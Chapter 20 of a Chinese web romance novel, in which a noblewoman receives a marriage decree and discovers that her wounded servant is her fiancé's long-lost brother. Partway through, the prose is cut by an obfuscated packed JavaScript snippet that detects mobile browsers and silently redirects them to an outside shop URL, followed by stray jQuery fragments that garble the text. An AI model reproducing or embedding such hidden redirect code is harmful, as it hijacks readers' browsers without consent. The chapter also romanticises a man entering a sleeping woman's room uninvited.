20. 身份

作品:《被捡来的竹马强娶为妻

    距离大婚举行那日还有半月有余,半月后,他日思夜想十年的婈婈,就要嫁人了。


    桑雪翎怔神半会,似是还未缓过来,只听见跪在身侧的尤香轻轻唤了她一声,猛然回神,抬高手臂:“臣女接旨,谢陛下隆恩。”


    那张宣黄.色的圣旨沉甸甸地落在她掌心,桑雪翎该是高兴的,可心底莫名升起复杂的情绪,扯不出半点笑意。


    兴公公领着宫中婢女离开桑府,在府跪地的众人纷纷起身,围着桑雪翎讨论,或担忧她的伤势,或庆祝她的婚事,又或责备马夫粗心大意。


    桑母和桑冀挤进人群,紧紧抱住桑雪翎,眼眶湿润,焦急道:“婈婈,昨日坠崖叫爹娘好生担心,万一你真出什么事,我们该怎么活!”


    桑雪翎抿了抿苍白的唇,淡笑:“我这不好好的,别担心啦。”


    桑母抚上她的额发,轻叹口气,话里透着不舍:“再过半月,婈婈就要嫁人了,阿母还是有点难过。”


    桑雪翎轻拍桑母的背,笑了笑:“裴府离桑府又不远,就算嫁人,我也要每日回桑府见阿母!”


    一声轻笑,裴知聿走近两人,甚是宠溺地看着桑雪翎:“婈婈,在裴府并无太多婚后规矩,你不用觉得此婚事会给你带来负担,你是自由的,从不被束缚。”


    他手中提着昨日桑雪翎在崖边射中的那只大雁,视线往下,桑雪翎眼底闪过惊喜:“还活着!坠崖那会我以为它跟着掉下去了。”


    尤香接过那只羽毛光滑的大雁,朝着东厨走去。


    聚在一团闲着的府内仆人逐渐散去,一部分跟着尤香走了,一部分则回到长廊清扫廊道的灰尘。


    散去后,视线恍然宽阔,身后响起一阵“砰”声,桑雪翎心一抖,转过身,瞧见干净的石砖上沾染一摊鲜血,景寒半膝跪地,倒在血泊里,宛如垂死之人。


    “哐当”一声,桑雪翎手中的圣旨因惊慌失措而坠地,她下意识冲上前,将他从血泊里捞进怀,长指探了探他的气息,薄弱到几乎失去呼吸。


    回到桑府收到赐婚圣旨,桑雪翎还未缓过神,沉浸在诧异中,将景寒受伤一事抛之脑后,他跳崖救她,因她受重伤,而她却只顾着当下的婚事,疏忽他的伤势。


    她的不在意,险些害他丧命……


    一时间愧疚自心底涌起。


    桑雪翎轻拍他苍白的脸,指节发颤,连同声线也在抖:“来人,快去请府外的大夫,快点!”


    正在扫长廊的仆人闻言望来,应了声,忙不迭跑出桑府,去府外寻大夫。


    桑雪翎命府上仆人将景寒背回杂物库歇息,脚步匆忙,剩下的仆人则搬来盛满水的木桶,清洗石砖上的血迹。


    回到杂物库不到半会,曾经为景寒诊过脉象的大夫仓促赶来杂物库,探了探他微弱跳动的脉搏,撩开宽袖,瞧见臂上遍布伤痕,大夫脸色骤然发白。


    “气息微弱,伤势极其严重,若再不治他的性命可就难保了。”大夫眼疾手快地打开药箱,一次性掏出多样药瓶,倒出药丸塞进他口中。


    桑雪翎眉头紧蹙,脑海里回忆起昨夜在小村屋,她给他简单处理包扎过伤口,分明伤势逐渐好转,可一回到桑府,伤势怎会比昨日坠崖时还严重?


    半盏茶的功夫,大夫将拿出来的药瓶重新塞回药箱里,起身擦了擦额角渗出的冷汗,又将裹伤布交给桑雪翎,并叮嘱道:“服下药气息调整过来了,晚点他便会醒来,不过他身上的伤口还需要包扎。”


    桑雪翎双手接过,颔首道:“多谢大夫。”


    大夫徐徐走出桑府。


    桑雪翎攥紧裹伤布,目光落在景寒身上,神色掺杂着内疚,她将裹伤布搁置在桌案上,走出杂物库,抬眸撞上裴知聿深邃的灰眸。


    两人四目相对,一时不知该说什么,沉静几秒,率先由裴知聿开口打破僵局:“婈婈,事到如今有一事我该跟你说了。”


    桑雪翎注视着他,心底忽然闪过一丝不安。


    “——婈婈,你真的了解景寒的身份吗?你确定他的身份只是普通的乞儿?可若真是乞儿,你去边疆送军粮遭雪崩那夜,他救下你,后来他教你护身术,都足以证明他是有武功的。”


    并且裴知聿在前几日还特意去查了边疆沿路的山中寺庙,的确有一户寺庙,但已荒废很长时间,寺庙里的僧人在几年前便已迁走,那招护身术绝非僧人授之,直觉告诉他,景寒的身份绝对不简单。


    桑雪翎垂下眸,记忆拉回雪崩那夜,马车即将坠崖,是景寒及时出现以己身拦下马车,以及昨日坠崖救她,他以刀刃插.进石壁,力量之大,动作轻快敏捷,仿佛曾经历过无数磨难炼就而出的功法。


    这真的符合街头寻常乞儿能拥有的本领么?


    当初桑雪翎不曾怀疑他的身份,是看在他于她有救命之恩,当时她想,四处流浪的乞儿难免会遭到他人嫌弃打骂,会点武功自保也挺常见,可如今细细想来,他似乎真的与曾经她见过的乞儿不同。


    他会的东西很多,生得也俊俏,比起乞儿的身份,更像是遗失的贵府公子。


    他的身份,处处透着诡异。


    裴知聿轻叹口气,牵住她的手,脸凑过去贴着她掌心,蹭了蹭:“婈婈,我们的大婚日将近,即使景寒的身份无异,婚后他也不能随你一同嫁进裴府,倒不如在此做个了断,让他离开桑府。”


    的确,桑雪翎即将嫁入裴府,按规矩,景寒不能随她一同进入裴府侍奉她,他年纪尚轻,倒不如放他走,寻个好活娶个妻子,过完圆满的一生。


    桑雪翎回过头,看着杂物库里躺在木榻上的景寒,淡声:“待他伤好再做决定,可好?”


    他是因救她而受伤,尽管他身份有异,桑雪翎也无法在此刻让他离开桑府。


    “好。”裴知聿应了声,眸底涌出的暗光死死盯着景寒。


    *


    三日里,桑雪翎对景寒的身份仍有猜忌,不过她并未直接找他问个明白,她伪装的与平常无异,对他的态度仍旧平和,并照顾他,给他包扎伤口,监督他服药,甚至比往常待他还要好,更加关注他。


    在她的照顾下,景寒的伤势日渐恢复。


    此期间,裴府送来婚前聘礼,大雁,鹿皮,五匹布帛,同心锁,聘金等,数目颇多,多到偌大的库房排满聘礼,桑冀看着一箱箱聘礼心满意足地笑了,并夸赞裴知聿用心,是个好郎君。


    因婚日将近,近日桑府和裴府在清扫府内杂物,迎来焕然一新的府邸,府内下人忙得满头大汗。


    桑府书房,桑雪翎在屋内倾筐倒箧,意外找到了一副表面盛满灰尘的画像,灰尘迎面而来,她扬起手挥了挥,铺开画像。


    一束暖光透过窗缝照在那副画上,光彩夺目,画像上是一名幼小的女孩和年纪相仿的小公子,两人在广袤无垠的绿坪放风筝,场面温馨和睦。


    “咦!这是我六岁那年爹爹给我画的像。”桑雪翎感到惊讶。


    随即注意到画上的小公子,画尾有她和那人的署名:裴烬寒。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171281|195117||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>对此人,她的印象不多,只是幼时与他玩的不错。他原是裴知聿的兄长,可七岁那年,他莫名失踪了,谁也不知道他后来去了哪里,或许死了。


    桑雪翎抬手抚摸画像,眼底露出怜惜。


    惋惜间,耳畔响起微弱的脚步声,桑雪翎抬眸看去,展露笑颜:“景寒,你来的正好,帮我把这幅画丢了罢。”


    桑雪翎将画交给他,而他却许久未接。


    ……


    裴烬寒在书房外盯着她看了很久,看她掏出他们俩幼时的画像,原来她将画像也珍藏至今,看来她还是在乎那份幼时情谊,他浅浅地笑了。


    于是他走近书房,可她却叫他丢掉画像!


    桑雪翎探头看他,他垂着眸,神色郁闷,心情不佳,她轻声唤他的名字:“景寒,你怎么了?”


    裴烬寒接过画像,语气极其冷淡:“小姐,此画精湛绝妙,为何要扔?”


    桑雪翎撇了撇嘴,也感到不舍,可还是笑着说:“此画确好,但我要嫁人了,自然不能留着与陌生公子的画像。”


    陌生公子……


    原来在她眼里,他只是个陌生人。裴烬寒唇角微微上扬,扯出自嘲地冷笑。


    而后,他又问她:“小姐,那景寒于你而言是陌生人么?”


    桑雪翎没犹豫,旋即接上他的话:“你救过我三次,我将你视为护卫,且我与裴烬寒的交情本就不多,你怎么还跟他比上了?”


    “……”


    裴烬寒攥紧画像,在心底终叹了口气——罢了,两个身份都是他,只要她还没将“景寒”视为陌生人便足够了。


    裴烬寒抱着画像走出书房,他并未扔掉画像,而是藏在杂物库。


    入夜,临近孟夏季节的夜晚温度上升,不似寒冬季那般冷冽,桑府下人入睡时辰也晚,在府内廊道走来走去。


    约至丑时,桑府方进入深夜的静谧,府上灯光熄灭,陷入漆黑,裴烬寒清理完府上琐事回到杂物库,坐在榻沿边朝窗缝外望去,见她的那间寝房早已灭灯。


    裴烬寒睡前想去看她早已养成习惯,若是一夜不瞧,便整宿睡不着。


    他实在忍不住,便如往常一样,沿着廊道悄无声息地走到她的寝房门前,小心翼翼地推开门扉,极轻的一声“吱呀”,他微怔,还是义无反顾地走进寝房,来到她的榻边,蹲下身近距离看她的睡颜。


    冰凉的指尖触碰到少女温热的掌心,与之十指相扣,他闭上眼享受她的温热,扬起满意的笑容。


    殊不知……在他闭眼的那几秒,桑雪翎的长睫在轻轻颤动,心跳声加快,快到仿佛下一秒便要冲出胸腔。


    今夜桑雪翎也不知怎的,心底总觉得慌乱,难以安睡,许是深夜时辰府内下人还在走动引起的,脚步声浮在耳畔,让她的心也跟着聒噪起来。


    她便躺在榻上闭紧眼,在脑海仔细回忆景寒的过往,试图揪出他身份诡异的证据。


    直到听到那阵微弱的推门声,她思绪全断,猛然睁眼,看向门前,瞧见一道颀长的黑影朝她走近,在漆黑中映出景寒俊俏的面容。


    桑雪翎闭紧眼装睡,不敢呼吸,更不敢轻举妄动,生怕被他发现,任由他牵着手。


    她在心底计数,以此转移注意力,数到第九十三秒时,他趴在她耳畔低沉地说:“小姐,你要嫁人了啊,那你会不会再次抛弃我呢?”


    “可小姐之前说过,只要我在桑府认真做事,你不会赶我走的……”


    “小姐会食言么?”